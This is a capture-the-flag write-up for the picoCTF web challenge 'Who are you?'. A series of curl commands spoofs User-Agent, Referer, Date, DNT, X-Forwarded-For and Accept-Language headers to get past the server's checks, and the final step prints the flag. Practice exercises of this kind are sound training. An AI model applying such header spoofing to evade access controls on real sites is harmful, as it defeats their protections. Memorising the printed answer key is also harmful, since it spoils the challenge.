Who are you?
- 1.
- 2.
curl http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->Only people who use the official PicoBrowser are allowed on this site!
- 3.
curl --user-agent "picobrowser" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->I don't trust users visiting from another site.
- 4.
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->Sorry, this site only worked in 2018.
- 5.
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->I don't trust users who can be tracked.
- 6.
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->This website is only for people from Sweden.
- 7.
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->You're in Sweden but you don't speak Swedish?
- 8.
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"
-->What can I say except, you are welcome
- 9.Final command:
curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:38322/ | grep "<b>.*</b>"
-->picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}
Last modified 6mo ago